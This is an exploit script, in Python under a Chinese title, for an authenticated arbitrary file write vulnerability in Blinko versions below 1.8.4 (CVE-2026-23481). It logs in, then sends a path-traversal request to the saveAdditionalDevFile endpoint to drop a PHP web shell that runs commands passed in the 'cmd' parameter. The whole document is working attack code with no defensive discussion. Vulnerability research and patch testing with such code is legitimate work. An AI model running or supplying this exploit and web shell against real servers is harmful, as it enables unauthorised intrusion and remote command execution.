CVE-2026-23481 Blinko任意文件写入漏洞

import requests # Exploit Title: Blinko Authenticated Arbitrary File Write # Date: 2026-03-23 # Exploit Author: Analyst # Vendor Homepage: https://github.com/blinkospace/blinko # Version: < 1.8.4 TARGET_URL = "http://target-ip" USERNAME = "attacker" PASSWORD = "password" session = requests.Session() # Step 1: Login to obtain authenticated session login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # Step 2: Trigger arbitrary file write via saveAdditionalDevFile # The endpoint allows specifying path and content exploit_payload = { "path": "../../var/www/html/shell.php", # Example path traversal "content": "<?php system($_GET['cmd']); ?>" } exploit_resp = session.post(f"{TARGET_URL}/api/saveAdditionalDevFile", json=exploit_payload) if exploit_resp.status_code == 200: print("[+] File written successfully!") print(f"[+] Check your webshell at: {TARGET_URL}/shell.php?cmd=whoami") else: print("[-] Exploit failed")